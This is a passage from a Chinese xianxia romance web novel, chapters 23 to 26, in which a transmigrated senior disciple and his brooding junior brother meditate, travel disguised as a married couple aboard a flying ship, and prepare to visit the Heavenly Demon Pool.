“别想了。”祁桓罕见地催促许清浔,后者一看他走来,果然听话地转身过去,老老实实地打起了坐。 祁桓不动声色地观察着四周情况,确认没有危险才放心,静静地抱刀而立,守望着许清浔。 修士感悟的时间,有时长,有时短,甚至有根本进不去“悟”的,而他的师兄从来都是人中翘楚。 他观察着,不知不觉间已经过了一刻钟,脑海中浮现出一些之前的记忆。 其实,他不止跟踪过许清浔一次,那天之后,他又因为好奇,忍不住又跟踪了许清浔。 大师兄平日行动很有规律,除了修炼之外的外出皆有规律可循,比如每月的二十一日,即是他大师兄的“采购日”。 何谓采购?其实就是去八宝城之类的地方采购符纸,或是法宝,又或是灵材丹药。他一开始以为,这没什么好观察的,但又或许能意外发现许清浔的什么秘密?所以他也十分起劲。 后来,他就看到了一幕幕震惊的画面。 那个人乔装打扮,化身成普通人的样子,走在大街小巷,与人买卖,与人攀谈,平凡的外表遮掩不住眼里的光彩,无论走到哪,都很快成为人群的中心。众人不由自主地吸引过去,汇聚目光在他身上,或是好奇探究的目光,或是向往憧憬的目光。 那个人并不完美,会犯蠢,会犯错,但就是……让人移不开目光。 他回忆起了过去,好像他以前也是这样的人,一样的阳光自信,一样的活跃健谈,只是他忘记了,也再也回不去了。 那个人,是他没能成为的他。 他为之失落,内心仿佛被凿开了一个大洞,恍惚间似乎看到了自己这些年行尸走肉般的来路,于是,更加地自我厌恶。 直到,他忽然想起来,许清浔爱着这样的自己。 ……那一刻,他又觉得自己不那么面目可憎了。 可若,那只是自己的误会呢?祁桓顿了顿,内心忽然烦躁异常。 23、第二十三章 - 许清浔盘坐下来后,很快进入了顿悟状态,他其实早在两年前就开发了自己的神通,只是很少使用,以及……他想来一场厚积薄发,看看压制一段时间,会不会有更大的收获。 果不其然,收获甚大! 他心中欢喜,唇线高高上扬,他不愧是他,神通果然强大,只不过,为何体内的神通灵力呈现出七彩之色?不是说对应五行五色,普通人开发出两色已经算是优秀,开发出三色则是天才级别,四色历史罕见,五色绝顶妖孽……这样的吗? 他内视着自己的丹田景观,发现彩虹般的灵气在自己的丹田自然运转,仿佛生来就在此处了一般,毫不突兀。 嗯……莫非,自己的天赋比妖孽还妖孽? 许清浔一顿,既觉欢喜,又觉得好像哪里不太对劲,他寻思,天道给他捏的身份未免也太超模了,可是他转念一想,又觉得本该如此。 等等,本该如此?为什么是“本该如此”?我虽然从小自信,但也没有自信到这个地步吧? 他有些疑惑,但无论如何,还是先巩固好再说吧。 许清浔再次运转玄功,片刻之后,他浑身舒泰,精神大好,功法大成后,他笑着睁开了眼睛,立刻转头看向为自己护法的男人。 “该你……”了字没有说出口,他的声音戛然而止,目光诧异地看着罕见地浑身散发着冷气的祁桓。 怎么了吗,我又惹到他了?许清浔傻眼,心想祁桓主动提出的护法,总不可能还气上了吧? 好在,祁桓很快收敛情绪,淡淡开口:“完事了吗。” “嗯……完事了。”许清浔边说边起身,目光一直落在祁桓身上。 祁桓点了点头,仿佛一切如常,走到许清浔身旁的蒲团边,也盘坐了下来。 许清浔眨了眨眼,心有疑惑,却不好开口,好在祁桓也很快进入了顿悟状态,殿内的空气轻松了许多。 许清浔目光转移,重新扫过璧上的挂画,从那对夫妻的少年时,一直看到老年时,心里琢磨着祁桓方才所说的话。 侣是最难求的吗,这话倒也没错,想要找到一个完全信得过的人,让其护道,为其护道,绝对不是一件简单的事。 而且,自己也首先得信任对方,其次是,自己要认可对方的品行,等等,但最重要的是,自己得喜欢对方吧? 嗯,没错,还得喜欢!许清浔面露笑意,目光不自觉地扫了祁桓一眼,心中幽幽道,我才不喜欢你这家伙,要不是你是主角龙傲天,我才懒得管你。 可惜这话是气话,这些年的相处之后,他其实比谁都要认可祁桓,虽然已经发生过的事情无法挽回,已经丧失的少年意气无法夺回,但这个人的心还未被玷污,仍旧是一颗火热的心。 看到不平会怒,看到不公会站出来,嘴上说着要不折手段成仙,但真正邪恶的手段,又从来不会去用,表面说着自己很坏很狠,但嘴硬心软,救人之举总是先人一步。 他一开始觉得别扭,毕竟这也太不坦率了吧?但后来,他开始觉得可爱,甚至有种说不出的反差萌? 许清浔一顿,心想我如今都敢觉得龙傲天萌了吗?胆子也未免太大了。 可是我是他师兄啊,大师兄觉得小师弟萌萌哒,是什么不可以的事吗? 许清浔忽然笑了,更觉得理直气壮,无声道:“虽然不知道你抽什么风来救我,还愿意陪我闯九界天才会,但大哥我啊说实话,现在是真的有点喜欢上你小子了,嗯我是说作为真人的喜欢,不是纸片人的喜欢。” 他纠正了一下,认为果然人还是得喜欢鲜活的人,纸片人虽好,但终究不如真人活生生,可以触碰,可以调戏。当然,这只是对他来说。 就是不确定,这家伙是否跟自己是一样的心情? 许清浔皱了皱眉,心中不太确定,低声道:“喜不喜欢不知道,但不至于讨厌吧?” 他觉得,祁桓应该是把他当大哥的吧? 许清浔又莫名高兴起来,能当龙傲天的大哥,他这辈子已经算是活够了,将来历史上必能留下他的名字! 啊不对,我本来就是要留名的好吧。许清浔一个人胡思乱想,似乎隐隐有些不安,实际上他也知道不安的来源。 也即——九界天才会的那个隐秘剧情。 若是办不好,玄界就会像原著中写的一样,整个界域顷刻消亡。除了那些大人物与大家族之外,无论修士还是凡人,都将消亡。 他绝对不会让那个剧情发生,但阻止的难度……奇大无比,甚至要赌上他的命。 许清浔面色沉重,浅色的眸子暗了暗,“所以要在那之前,做好绝对充分的准备。”现下,这个节点是通过了,那么接下来就该是那个节点了。 天魔池,凡修士皆避之不及的险恶之地,原著经魔并未带祁桓去过那里,但为了攻克九界天才会,他们必须提前适应,提前做好“功课”。 许清浔目光转向端坐不语的黑衣青年,表情严肃,低声道:“你应该能过这一关吧,虽然原著里十年后的你没能过那一关,但现在的你怎是原著可以比的。” 他对祁桓有信心,愿意相信这个自己带了五年的男人。 却在这时,他心中的男人忽然睁开一只眼,侧首道:“什么关。” 许清浔愣了一下,面色即变,轻笑道:“哪有什么关,是你听错了。” 祁桓微挑眉,缓缓地站起身,随即突然逼近许清浔,眸光凌厉如刀,定定地注视着。 许清浔表面十分平静,但由于他们之间的距离太近了,莫名的一股压力,令他不禁紧张起来。 那人眸子转动,仿佛在打量着什么,又仿佛在反思自己,眼神晦暗不明,良久之后,忽然侧过首,喃喃道:“这不可能,我不喜欢男人。” “什么?”许清浔没听清,下意识地贴近祁桓,温热的气息打在祁桓耳畔,令后者敏感得颤抖了一下。 祁桓瞬间绷紧,刚要转头说什么,却由于距离太近了,意外地双唇擦过对方的脸颊。 而许清浔还未说什么。 祁桓耳尖泛红,眸子里写满了动摇。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 24、第二十四章 许清浔又凑近,问:“怎么了吗?” 祁桓被迫在至近距离下看着许清浔的脸,瞳孔猛地收缩。从初见时他就知道了,这个人生得极美,尤其是安静下来的时候,似乎一道眼神就能勾走你的心魂,好在其本人不是安静的性格。 许清浔见祁桓不说话,问道:“感悟得如何?” 祁桓终于回过神,连忙整理思绪,故作镇定地答道:“确实如你所说,有巩固强化神通之功效。” 许清浔笑了,“就说跟着大师兄好处多多吧?” “嗯。”祁桓不动声色地后退一步,似乎是有意跟许清浔保持距离,接着问道:“接下来去哪里。” 他会问这个也是一种进步,要知道,许清浔一开始带他下“副本”的时候,他可是一到什么地方就迫不及待挖空人家的所有法宝,被许清浔纠正过才没那么执着。 有道是前人栽树,后人乘凉,你来乘凉,就把人家树给挖了,既是对前辈不敬,也是对后辈无德。修真界本来好人就少,安全的传承更少,没有必要吧? 许清浔露出满意的笑,“出去再说。比起这个,临走前向前辈们行礼吧。” 祁桓一顿。 只见,青衣修士转身向正堂,恭恭敬敬地行了一礼,三番道谢。 祁桓沉默地看着,最后也跟着行礼。 殿堂安静如初,飘荡着淡淡的沉香味,似有人轻笑,引来一阵清风,令帘布高高飘扬。 许清浔若有所思地点了点头,随后转身,对祁桓道:“走吧。” 祁桓未动,已然闻到一股淡淡的兰花香。 许清浔见他仿佛在发呆,问道:“你怎么了,为何从方才开始,就好像一直心不在焉的?” 祁桓微愣了一下,不知在思考什么,忽然问:“我在想,师兄院内为何种着那么多兰花。” 许清浔睁大眼睛,很是诧异,下意识就说:“那是张福家的小孩送的……” 祁桓闻言沉默了一下,忽然露出笑容,像沉郁许久的天空突然晴朗了一般,温声道:“不愧是师兄。” “……” 许清浔不太明白他在想什么,走出神通洞天后,也依然想不通什么回事。他直觉,应该不是坏事,就是偶尔感觉如芒在背? 进时难,出时易,迷雾散去后,他们到了一片森林中。 夕阳西下,到处金黄。 许清浔取出法宝罗盘,边辨识方向,边思考道:“话虽如此,那个地方还是太远了。” 玄界大陆奇大无比,以他们的修为,即便用法符作为辅助,赶去也要将近十天半个月。 “远,为何不坐神舟。”祁桓忽然开口。 许清浔一顿,看向祁桓,“你是说大城池之间往返的神舟?人多,容易被发现。” 祁桓回头,盯着许清浔看,“我有方法。” “什么方法。”许清浔呆了呆。 “就是……”祁桓欲言又止,“你先随我来。” 半个时辰后,某座客栈内,许清浔看着面前的水镜,整个人都傻了。 镜中人白发胜雪,眉黛如烟,双眸澄澈,似含秋水,朱樱色的双唇饱满圆润,微微一笑,似能倾国倾城,是他见所未见的大美人。 他自己都快看着迷了。等等,不对,这个大美人是他自己啊! 许清浔顿时一惊,连忙抬起头,“师弟,你说的方法竟是让我女装?!” “师兄不要激动,矜持一些。”黑衣青年似乎非常镇定,一手不知哪里学来的化妆术,将许清浔化成了他本人都认不得的样子。 修士有幻术的手段,但容易引起注意,而且容易被大修士看穿。有时候最高明的手段就是最简朴的手段,比如说女装,谁能想到鼎鼎有名的三玄宗大师兄女装行走玄界? 在祁桓罕见的严肃眼神下,许清浔不知为何只得乖乖让他继续,双颊微微泛红,明显十分不自在。 许清浔寻思,这或许是个方法,许家人在到处找他,但绝对想不到他会女装,还跑去坐神舟。 但就是…… 许清浔蹙眉,看着镜中美艳绝伦的自己,产生了严重的自我怀疑。等等,应该怀疑的不是自我,是祁桓这家伙吧,这手化妆术,莫非是……啊,从他大姐那儿学来的? 好小子,从小就好奇心旺盛,连这个都学是吧。 至近距离之下,许清浔没忍住偷瞄,看到了一个格外认真的祁桓。 那个男人仿佛全神贯注在了他的艺术之中,眉头蹙着,唇线紧抿,有种微妙的克制,又或者说禁欲感。 等了片刻,似乎终于完工了,黑衣青年收手,站在一旁,不知想着什么,眼神十分迫人。 许清浔眨了眨眼,饶是他自己都不敢多看镜中的美人一眼,于是坐起身,解开衣襟,一边脱衣一边道:“到换衣了吧……” 他话未说完,黑衣青年突然面色大变,紧张道:“不要脱!” 许清浔一顿,转头看去,只见黑衣青年单手捂脸,侧着身,声音微颤道:“不要在我面前脱,还有,穿我给你的。” 许清浔傻眼,“你……还有女修的衣袍?” “捡的。”祁桓言简意赅,但看上去绝对不是捡的。 许清浔不好多问,接过祁桓给的衣裙,觉得祁桓的反应有些奇怪。不过,没等他说什么,祁桓立刻背过身去,背脊挺得笔直,活像一柄立直的剑。 许清浔穿好,往镜子看一眼,只见一位出水芙蓉般的美人静静地望着自己,目光带着浅浅的迷茫,极惹人怜爱。 他连忙移开视线,转头一看,却见祁桓呆愣原地,瞪大眼睛,像看到了极不可思议的画面。 许清浔第一次见祁桓如此反应,认识对方五年多,此前从未见过。 甚至,还肉眼可见地红了脸,清俊的面容写满了纯情。 许清浔心一动,大感可爱,压不住起了戏弄的心思,竟迎着祁桓的目光一步接一步地走到祁桓面前,后者仿佛吓到了,不断地后退,一直退到了床边,退无可退,被许清浔逼迫得坐在了床上。 这小子,自己亲手描出的美人,却也不敢直视吗? 许清浔忍不住笑了笑。 而这一笑,险些令眼前人窒息了。 看祁桓罕见的呆愣,许清浔兴致上来,更忍不住道:“要不要师兄亲你一口?” 说着,他竟继续逼压,缓缓地低下腰来,嫣红的双唇几乎要印下。 祁桓心脏猛跳,竟鬼使神差地,想要迎上那一吻。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 25、第二十五章 许清浔正高兴,忽然想到自己承诺过不再调戏自家小师弟了,当即心道不妙,连忙拉开距离,老实道:“师兄又没忍住,师弟见谅见谅。” 然而,他低头了一会,也没听见祁桓说话。 他不知道,此时那个黑衣青年正目瞪口呆,眼里流露出藏不住的失望。 怎么回事?许清浔抬起头。 也是同时,祁桓突然站起身来,肃然道:“任一个人再如何风华绝代,可惜岁月如梭,终将不过是红粉骷髅罢了!” 他振振有词,端得是正气凛然,怀得是凌云壮志。 这是第一次,许清浔从他身上看到了王道龙傲天的影子。 其实祁桓说完便悔了,没忍住偷瞄许清浔,仿佛怕对方生气,却没想到对上了一双欣喜若狂的眸子。 “说得好!”许清浔笑开颜,双眸明亮无匹,“再美不过红粉骷髅,只有实力才是永恒的道理!咱们师兄弟果然心意相同啊。” 祁桓呆了呆,忽然又意识到,这个人最吸引人的地方里面,容貌是其中最不值得一提的一个。 “事不宜迟,我们上神舟吧?”许清浔兴致勃勃,忘记了自己此时在女装。 祁桓慢了一步,回过神时,青衣修士已经推开房门,绝色的面容暴露在了外面。 那一瞬间,他突然后悔了,心中顿时生出一股前所未有的占有欲。 来的快且强烈。 许清浔正欲回头,右手腕突然被人抓住,回过神时竟被祁桓揽在了怀中。他傻了眼,而对方接着俯身在他耳边说:“还是算了,师兄这样太引人注目。” 那声音低沉得可怕,令许清浔莫名一阵寒颤,险些想起了原著那个变态。 但他转眸,看到的还好是他认识的祁桓。 黑衣青年似乎也知道他的说法十分矛盾,明明是自己提议,现在又推翻,究竟是何意? 许清浔正欲问,便听见对方说道:“脸要遮掩一下,师兄……扮我的妻子,嗯,这样更好。” 他的语气中透着几分不可置疑的强硬,又仿佛在恳求一般,许清浔不由自主地应了下来,回过神时,已经被那个男人安排妥当,脸上带着青色的面纱,手也让人牵着,缓缓地走向了八宝城神舟启程之地。 周围人来人往,多是衣冠不凡的修士,有李家的人、王家的人,甚至有他许家的人。 他们偶尔会投来视线,但不知为何,仿佛忌惮着什么一样,快速抽回视线。 许清浔疑惑,回头才知,是自家师弟的眼神太吓人了,那样子好像护食的凶兽一样,谁看了不怕? 作为丈夫来说,表现妥妥满分。 许清浔没忍住一笑,心想虽然这身很别扭,但意外看到了师弟的另一面,值了。 而身边人似乎察觉到了他的心情,微微蹙眉,问:“师兄笑什么。” “不是笑你。”许清浔眨了眨眼,“我在感慨,师弟若是与人成婚,绝对会是一个很好的道侣。” 黑衣青年瞳孔一震,耳尖似乎又在发热,沉声道:“何以见得。” 许清浔一本正经道:“你会把人好好保护起来,对不对?” 黑衣青年愣了一下,似乎才意识到自己此刻对许清浔的行为就是“保护”。 “丈夫……本就应该好好保护妻子。”他低声地说。 许清浔非常赞同,只是有些可惜,因为他作为读者可太了解祁桓了,这家伙内心完全没有寻侣的想法,满脑子都是打打杀杀,原著里挡路的无论男女,哪怕是倾世的大美人也照杀不误,主打的就是众生平等,他无法想象祁桓会有长出恋爱脑的那一天。 但接着,他又听见那男人低语。 “何止要保护,还要藏起来,藏到……谁也不知道的地方。” 许清浔一愣,心想不对吧,囚禁?那可是变态行为! 然而,对方却好像并不是在开玩笑,面色阴郁,还继续道:“外面到处都是危险,师兄不觉得吗。” 话题居然转到了自己身上。 许清浔目瞪口呆,只好硬着头皮接话,“危险……是很危险,但也不至于不让媳妇出门吧?” 黑衣青年眉头一皱,不知道是不满意许清浔的回答,还是在反思自己。 许清浔看他好像又要钻牛角尖,心里想了想,转而道:“不过倒也不好说,万一你媳妇是个死宅,本来就不喜欢出门呢?” 黑衣青年一愣,好像觉得很有道理,虽是第一次听到“死宅”这个说法,却莫名能够明白意义。 许清浔瞄他一眼,又道:“比如说你师兄我就是,比起外出,更喜欢宅家。” 黑衣青年瞳孔微缩,似乎明白了什么,语气轻缓道:“师兄这么说,是在照顾我吗。” 那可不是照顾,是宠你! 许清浔笑了笑,心中接着自语,而且说,读者宠主角,那不是天经地义的事吗? 他没回答,那双含笑的眼眸却已经是回答。 黑衣青年微微一颤,僵硬地移过视线,随后低眸,不知想什么,但抓着许清浔的手默默地收紧了。 许清浔又是一阵意外,心想原来他这个师弟这么多小反应的吗,之前说你是酷哥真是抱歉了。 他不知道,他们的眼神交换,在外人看来是何等的亲密自然,完全起不了一丝疑心。 路过的许家修士只是看了一眼,之后便完全不怀疑了。那两人宛若新婚夫妻一般,跟他们要找的人完全不沾边。 “但话又说回来,许清浔究竟去哪里了,不会真的出事了吧?” 两个许家修士交谈,其中一人道:“不知道,万一真出了事,我们许家可不是吃素的。” 搭乘神舟的修士几乎都上了神舟,他们来之前都付过钱了,只需去到对应的房间即可。 许清浔他们买的是上房,有专门人接待,直接领去了房前。 那位老者满脸堆笑,见他们是一对道侣,恭敬道:“贵客若还有其他需求,可随时知会我等。” 黑衣青年应是,面无表情。 入房之后,许清浔终于松了一口气,把面纱摘下来,宽衣解带好不利索。 祁桓刚转头便看到这一幕,连忙别过头。 许清浔注意到祁桓还杵在门口,歪了歪头,心想师弟这是又怎么了? 虽然那呆呆的样子也有些可爱就是了。 他又忍不住兴致上头,语出惊人道:“夫君,怎么还不过来?” 那一瞬间,祁桓如雷贯耳,整个人都激灵了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 26-30 第26章 第二十六章 简直是不知羞耻! 许清浔本只是调戏一声, 没想到祁桓出奇地老实,竟僵硬地走到了他面前,缓缓地坐了下来。 动作肉眼可见地僵硬,手臂还微微发抖, 似乎是为了掩饰尴尬, 忽然抓起茶杯, 往自己唇边送。 许清浔大感诧异,因为祁桓洁癖很重,不轻易用外人的东西,更别说神舟客栈上的东西。上次他带祁桓来的时候, 祁桓连床都死活不肯睡, 而这一次, 竟然要喝茶。 只是…… 许清浔托腮一笑, 提醒道:“杯里没有茶。” 黑衣青年动作一顿,目光垂落,似乎才发现,瞳孔微微收缩, 随后仿佛无事发生般放下茶杯,抿唇轻“嗯”了一声,又好像想起什么,低声道:“师兄不必在房间内演戏。” 许清浔没忍住笑,黛眉微扬。以前他总觉得祁桓的死板样很欠调.教,但现在……哈哈, 其实还蛮可爱的。 祁桓听着他笑,似乎坐立难安,清俊的脸色有些发沉。 “我知道了。”许清浔没有继续为难他,甚至还体贴地亲自沏茶, 津津有味道:“不得不说,你的提议不错,外面那些许家的人没有怀疑到我们身上。” “许家……始终是个麻烦。”祁桓若有所思。 “往日我在许家,因地位与天赋的缘故,鲜少有人找我麻烦,但未来就不好说了。”许清浔边倒茶边道,眉头轻皱。 祁桓眸光一转,问:“为何。” “许家旁系有个本该死去的老祖复活了,他实力强大到足以改变许家的格局,威胁到我所在的主家。”许清浔随口道。 这个情报外界无人讨论,虽说许家之事本就鲜少外传,但这么大的事很难不走漏一些风声。 换句话说,许清浔说的很可能不是现在的事,而是未来即将发生的事。 祁桓蹙眉,沉声道:“又是你算出来的吗。” 许清浔动作一顿,点头道:“没错,卜道就是如此神妙,师弟是不是心动了,想学了?” 祁桓平淡地摇头,道:“我是粗人,太细致的活,干不了。” 许清浔呆住,心想此乃谦辞! 你小子炼器的时候简直不要太细心,连师兄都想糊弄是吧。 他挑了挑眉,道:“你确定你干不了吗?” 祁桓微愣,似乎想要转头看许清浔,但又不知为何,又转了回去,低声道:“嗯,我没有卜道天赋。” 这还差不多。许清浔终于笑开,“不过话说回来,你不问我究竟要去哪里吗?” 话音未落,神舟启程,房间随之微微一震,茶水摇曳,帘布飞扬,窗边的风铃叮当作响,别有韵味。 许清浔问这个是有渊源的,想当初他无论带祁桓去哪里,后者都会问到底,否则根本不愿跟他走,五年过去,祁桓的态度简直180度大翻转,如今问都不问了。 听见许清浔这么说,祁桓也只是理所当然地回答:“去哪都行,随你。” 许清浔呆了呆,仿佛受宠若惊,虽然……他并不知道为何祁桓会有这么大的转变,对自己越来越信赖了。 莫非是……人格魅力! 许清浔眼睛一亮,看着祁桓的眼神越来越炽热,导致后者似乎不太自在,忽然喝了口热茶。 “反正到了那里,我若不想去,也不会随你去。”黑衣青年严肃地补充道。 许清浔眨了眨眼,高兴的同时,也有一些担忧。 天魔池,顾名思义,是跟“魔”有关的地方,对祁桓来说尤其不妙,毕竟原著中,祁桓三次因为天魔暴走过。 虽说此时的祁桓并非原著的祁桓,重要的黑化节点都被他规避了,如今的品性和心性都称得上名门正派,但是……仍旧有些不安定因素。 他沉默片刻,忽然抬头问:“师弟,你……对‘魔’有何看法。” 祁桓动作顿僵,神色瞬间变了,端着茶杯的手微微发抖,整个人的气息仿佛都不太对劲了。 许清浔不由紧张起来,他并非第一次试探祁桓,但这是第一次问的如此直接。 只见,黑衣青年沉默了片刻,放下茶杯,缓缓道:“魔,无非是天魔、地魔、人魔,天魔在天外,地魔在地下,人魔……则是由人而魔的存在,也被称为……魔修。” 许清浔暗暗地吸了口气,问道:“那你……如何看待魔修?” 黑衣青年又是良久的沉默,眼神晦暗不明,“修真界排斥魔修,魔修一旦出现,附近的修士宗门必将齐心协力将其诛杀。但是,魔修一般是同境最强的存在,他们比普通的修士还要强大,就是可惜……容易失控。” 许清浔心中忐忑不定,听到后面才稍稍放心,可是祁桓话里有话,好像只要不失控,修魔其实也不是什么问题。 他一下就紧张了,脱口而出道:“再同阶无敌也不过是捷径,哪有走捷径证得大道的道理?咱们要无敌,就要凭实力无敌!” 祁桓一顿,忽然转眸,深深地看了一眼许清浔,眼神似乎夹杂着一些许清浔看不穿的东西。他低头,目光落在茶水上,低声道:“可是师兄,并非所有人都能这般坚定的意志,若是不走捷径,便只有死路一条呢。” 许清浔皱紧眉头,“你的假设不成立,人生非要二选一吗。” 祁桓眼神更深,“有的选已经是很好了,更多的人连选择都没有,便是让人灭门,杀了全家,也只能忍着,承受着,咬牙等待。” “……” 这话,竟如此难以反驳。许清浔心头堵塞,然而即使如此,他也有他的坚持。 “至少不该牵连无辜,尤其是凡人。”他语气肃然,浅色的双眸仿佛燃着烈火,直勾勾地盯着祁桓。 祁桓未转头,却仿佛能够想象到自家师兄说话时的眼神。 坚定不移、不可反驳、不可动摇,仿佛天上日,是真正的天之骄子该有的眼神。 让人忍不住想将其拉下凡尘,体验世间的险恶,又让人控制不住地心生向往、憧憬。 可惜太阳越是高洁,越是炽烈,越是闪耀,越是能将阴影照得深刻,让他险恶的心思更加无法遁形,被迫认知到自己的丑恶。 世上,怎会有如此残酷之事。 他忽然沉默下来,令许清浔内心一阵七上八下,同时也摸不着头脑,只好不断反省自己方才所说的话。 半晌,许清浔终于忍不住打破沉默,小咳一声道:“好吧,我也不卖关子了,我们要去的是天魔池,你可能没有听说过,这个地方位于天魔山的顶峰,能照见心魔,磨砺道心,通常来说,只要登上天魔山之顶,在天魔池待上一个时辰以上,就能磨砺出无暇道心,到时候可以在九界天才会的考验中独占优势。” 祁桓听完,显然想到了什么,面色微变,“那这个地方……很不简单。” “何止是不简单?是很危险!”许清浔补充道,“极少修士能够登上顶峰,而且一般情况下,年龄越大,登顶越难。” 祁桓若有所思道:“因为年龄越大,杂念越多吗。” 许清浔点头,“对,赤子反而容易登顶,但年龄太小登顶,其实没什么好处,它的作用主要还是磨砺道心。”说着,他声音略为严肃,又补充道:“历史上,有大修士试图登顶天魔峰,却在中途堕魔的例子,我们若是不小心,并非没有那个可能,师弟听完,还想挑战吗?” 许清浔眉峰紧蹙,紧张地盯视祁桓。 祁桓沉默了半会,淡淡道:“挑战。” 许清浔一顿,好像非常意外。 而祁桓转过头,居然笑了,浑黑的双眸含着亮光,语气出奇的温柔,反问道:“都说要陪师兄了,怎会临时退缩?” 许清浔呆了呆,似乎第一天认识祁桓,心跳微妙地漏了半拍,不知是震惊还是其他。 “你就因为……要陪我?”他难以置信地问。 “除此之外还能有什么理由。”祁桓神色淡淡,仿佛说着一件再简单不过的事,说完还不忘补了一句挖苦的话,“我可不像师兄,常常出尔反尔,戏耍自家师弟。” 许清浔刚高兴着,听到后面一头雾水,心想自己何时戏耍他了?然而祁桓站起身,背对着他走到了窗边的横榻前。 “既然确定了目的地,那就要抓紧修炼了,师兄先为我护法,可以吧。” “好。”许清浔下意识点头,再一看,对面的黑衣青年已经盘坐下来,入定修炼了。 这小子,一天天的都在想些什么,再说了,我何时出尔反尔了? 许清浔郁闷了一下,忽然想到了刚才所说的“亲一口”之事,心道祁桓不会说的是这个吧,那不明显是玩笑吗?还是说,指的是他明明承诺了不再调戏,却还是屡屡控制不住的事? 啊,那都怪你太好逗了! 许清浔也想主打一个不内耗,把问题全推给对方,但他毕竟本质不是那种人,怪在意别人的心情。 他看了一眼打坐的祁桓,纳闷半会,还是老实地护法去了。方才进来的时候一直在聊天,没有布置阵法,这会得补一个。 许清浔于是起身施法,画到最后一个符文时,隐隐仿佛听见了什么,目光诧异地投向某个方向,迷茫道:“对面是合欢宗的人在聚会吗?” 他们来之前,对面那房还没来人,就算是,或许也不奇怪,毕竟合欢宗是修真界知名豪宗,压根不差钱。 等等,那还这么多人? 许清浔迷茫了一下,摸着下巴想了想,忽然面色通红,怒道:“光天化日之下,简直是不知羞耻!” 他自己给自己气着了,加固阵法,而且绝音绝尘,如临大敌,嘴里碎碎念道:“我这里可是有小朋友的!” 他无意识地绷起了大哥姿态,仿佛祁桓还是五年前那个少年。 完事之后,他转身坐下,收心炼制法符,端是正气凛然,任何邪魔外道都不能轻易靠近。 却不知道,本应入定的黑衣青年睁眼看了他一眼,不知在想什么,最后无声地笑了笑。 许清浔炼制法符的速度极快,不一会儿,空中就飘满了法符,当中不少是玄界修士求之不得的上品百变神通符。 他若拿去卖,百万千万灵石都不在话下,但他本人鲜少出卖,因为多数要留给他自己,还有他的师弟师妹,或是其他同门。 他只会在需要钱采购符纸的时候卖一些法符,说起来,半年前他就采购了将近千万张数的符纸,对于寻常符修来说,这个量恐怕一辈子都难炼制,可许清浔堪称人体法符打印机,质量与速度都超人一等,堪称完美,唯一的瑕疵是…… “糟,头痛,精神力又透支了。” 许清浔按揉太阳穴,面色发白,只好停下炼制。他吃了口守神丹,转头一看,四下不知何时堆满了法符,比他预想的还要翻了一倍。 他有些恍然,低语道:“感觉我的水平快要超越上品了,是不是可以挑战地品了?” 法符的品质分为下品、中品、上品、地品、天品、圣品、仙品,他如今炼制下中上品法符已经熟练到好似端茶喝水,或许他早就开始向上挑战了? 然而,他话音未落,一道声音突然说道:“以师兄目前的修为挑战炼制地品法符,不会透支精气神,甚至遭到反噬吗。” 许清浔一愣,当即转头看向说话的黑衣青年。 他这个师弟,真是越长大越胆大,都敢管教师兄了。不过,虽然僭越,但好歹是关心? 他寻思着,随口一问:“师弟不是符修,怎知这些事?” 黑衣青年面色一僵,不能说他当年为了了解许清浔,曾查阅过无数关于符修的书籍。 “这等常识,不是符修也能知道。”他思考道。 许清浔颇为意外,笑道:“我以为师弟你满脑子只有修炼,不关心其他修士的事。” 祁桓微哽了一下,幽幽道:“不是师兄你自己说的吗,要多了解其他修士的手段,以免遭遇他们时不知如何应对。” 许清浔睁大眼睛,“我说过吗?” 祁桓沉默了,片刻才道:“师兄看来记性不好。” 许清浔闻言一笑,他方才那番话其实为了试探祁桓的心情,现在得出结论,自家师弟似乎心情好了。 祁桓观察到阵法坚固非常,还绝了音,导致完全听不到外面的动静,眉头一皱,不解道:“师兄何故绝音。” 许清浔面色一僵,咳了声道:“小孩子不懂事,别问那么多。” 祁桓皱眉,声音冷了,“谁是小孩子。” 许清浔只好道:“这么说吧,咱们房间对面是合欢宗的人。” “合欢宗又如何……”祁桓话未说完,不禁停顿了下来,面色不自觉地发红,仿佛想到了什么。 许清浔一本正经地教育道:“虽然也不是什么大事,但师弟毕竟还小,还不需要知道那么多。” “……师兄难道尝试过。” 祁桓突然语出惊人,说这话时,好像格外的咬牙切齿。 许清浔一听面色大变,心想这简直是凭空污人清白! 他连忙否认道:“你在想什么啊,师、师兄一心修炼,哪有那等兴致!” 祁桓似乎有些怀疑,但想了想,他跟踪许清浔多回,从未碰见过那事,反而看到了那人藏在轻浮外表之下的高洁…… “再说了!”许清浔莫名着急,白皙的脸上绯红一片,接着解释道:“师兄可是纯爱战神,怎可能在外乱搞!” 他说完自己都心酸,两世为人还是处男一个,连女孩子的手都没有摸过,情感生活只能用悲剧来形容,越想越心酸啊,泪目了。 而祁桓看他如此,虽不解“纯爱战神”是何意,但……莫名心情大好。等等,师兄为何一脸遗憾的表情?他又瞬间冷了脸。 但许清浔还在悲愤之中,叨叨道:“你以为谁都跟你一样旺桃花吗?师兄……哎,或许是师兄的问题吧。” 祁桓有些沉默,抑或说不解。 在旺桃花上面,明显他师兄强过他,他总是跟在师兄身边,比谁都要清楚师兄身边何等的暗流涌动,多少的视线交织,还有人将给师兄的书信转交给他,让他帮忙送给师兄。 而他,笑着收下,最终全部烧了。 因为在当时的他心里,师兄是爱着自己的,怎会接受他人的告白,谁知…… 许清浔垂头丧气,终于抬起头,“罢了罢了,咱们一心证道,理会什么风花雪月?再说了,什么道侣?还不如好兄弟,师弟,你说是不是?” 祁桓闻言一顿,不自觉地唇线上扬,“倒也没错。” 许清浔大感欣慰,连忙关切道:“修炼得如何,准备好去天魔池了吗?” “大体准备好了。”祁桓回答,接着目光转移,“比起这个,师兄收拾一下法符吧。” 许清浔这才回过神,想起跟他不一样,祁桓不止爱干净,还喜欢把身边的东西摆放得整整齐齐,而现在房间内法符堆积如山,这家伙看到一定十分坐立难安。 “是是。”他掏出一枚玉简,将屋内的法符全数回收,随即挂在腰带上,随手用灵力刻了个“丁”字,意味着,这是他第四个装法符的玉简。 祁桓深深地看了一眼,并没说什么。 片刻后,许清浔到一旁修炼,将护法之事交给了祁桓。 无须言说,祁桓早已习惯。 只是,这间房有些太安静了。 祁桓取出灵器,默默地铭刻符文。他有收藏各种灵器的习惯,常背身后的剑匣内收有无数种法宝,对敌时可灵活换用武器,剑匣本身也是法宝,而且是……许清浔亲自送的。 